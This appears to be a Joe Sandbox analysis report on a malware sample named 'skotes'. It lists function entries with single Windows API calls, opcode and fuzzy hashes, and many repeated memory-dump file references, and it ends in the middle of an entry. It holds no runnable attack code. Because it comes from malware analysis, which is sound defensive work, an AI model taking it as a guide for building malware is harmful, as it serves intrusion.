Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 1c644215bcd1a64f5cd095689b2cda094ce0d187947ebc02648a1d3867197b1e
Instruction ID: 5c7648fde34d3ba9be6cf01b142422a57a16a15f0fb2760a27c50ca97a47706a
Opcode Fuzzy Hash: 1c644215bcd1a64f5cd095689b2cda094ce0d187947ebc02648a1d3867197b1e
Instruction Fuzzy Hash: 15D08C307C2314F6FA3103602C0BF26AA209B0EF90F26484173983F0D082E8300047F8

Function 00188380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00188524

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: adf9c5a9b6fc0359c0379632392d065eb5f36968aca2c6408c10e57e53bfc67a
Instruction ID: 1a1fae0b51233d8a300a5fce42c2b66a18862e071e192612048ef114172af6da
Opcode Fuzzy Hash: adf9c5a9b6fc0359c0379632392d065eb5f36968aca2c6408c10e57e53bfc67a
Instruction Fuzzy Hash: 8051E3719102589BDB24FB68CD85BEDB775EF45314F904298E418A72C1DF349F848F91

Function 001B7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,001B705B,?,?,00000000,00000000), ref: 001B7166

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: d2e78ddcfbb2b1947bdced13362ccb72ea40002ec411ef02f81e4493d04c28b1
Instruction ID: ba4dc477fad6a3715a96ca8b9e480f1a996d684d8253d55c76e52bd1f6466c31
Opcode Fuzzy Hash: d2e78ddcfbb2b1947bdced13362ccb72ea40002ec411ef02f81e4493d04c28b1
Instruction Fuzzy Hash: 65112A7290410DABDB11DFD9C884EDFB7BCAF48320F205262E511E2080EB30EA49CB71

Function 001BAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 001BAC8D

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 49240e3d40ce1a9ef8c340bcc9af6641ca9ed4133f0dd111f28113daaee0168e
Instruction ID: 7cb41336e3c647d4755ebd42702140951576604331a48dbd4c579f9311e58b31
Opcode Fuzzy Hash: 49240e3d40ce1a9ef8c340bcc9af6641ca9ed4133f0dd111f28113daaee0168e
Instruction Fuzzy Hash: 0E111575A0420AAFCB05DF98E9419DE7BF9EF48304F144069F809AB251D730EE21CBA5

Function 001BB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,116DAFBE,?,?,0019D3FC,116DAFBE,?,00197A8B,?,?,?,?,?,?,00187465,?), ref: 001BB07D

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 869b69b44bb95210b1a6b96d2bd3e57b1270c99bff930553a411f21179eeaa9d
Instruction ID: 62786e613bccc0611f2386dd384b7118c786f843ff2f0ca57979e2c94fc4fa35
Opcode Fuzzy Hash: 869b69b44bb95210b1a6b96d2bd3e57b1270c99bff930553a411f21179eeaa9d
Instruction Fuzzy Hash: 8EE06D3514922696EB3132669CC1BFFB6689B527E0F261220FD65A69A0DB90DC0082E1

Function 001C1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,001C1B65,?,?,00000000,?,001C1B65,00000000,0000000C), ref: 001C1792

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a97a4b1585e6994b56d5205d7ecdf9aac410a90ec30dde7e536fa39ea459347d
Instruction ID: 953c73d4935fc47c157e43f5a21f7b1fd84f2a8558b0ea7210e2ead184350889
Opcode Fuzzy Hash: a97a4b1585e6994b56d5205d7ecdf9aac410a90ec30dde7e536fa39ea459347d
Instruction Fuzzy Hash: F3D0923215110DBBEF129F84DC02EEA3BAAFB48714F015100BE1866060C732EC31AB94

Function 04EA0173 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994820087.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ea0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87b3b46dbc9a612dc339c8df5925026052800e0b92108eeec598c8e8fc5d8662
Instruction ID: bb3ab8b30c35bf67aa644d3bf5b54b41fb4b090a6bf11b765ce88c50beb424a8
Opcode Fuzzy Hash: 87b3b46dbc9a612dc339c8df5925026052800e0b92108eeec598c8e8fc5d8662
Instruction Fuzzy Hash: 52215E5620D380AFD7034FA099D81E93F619F23134B2465A5D482CF243F5A57D25E352

Function 04EA026F Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994820087.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ea0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6e6221c99c5661f0c5c65425f7f2c1b0483fc88511725f954c9e0a61e4210d7
Instruction ID: 487371e6685c5844cdeca8ec25c51a1b9af7b6269996093d7d7ebae92860a95b
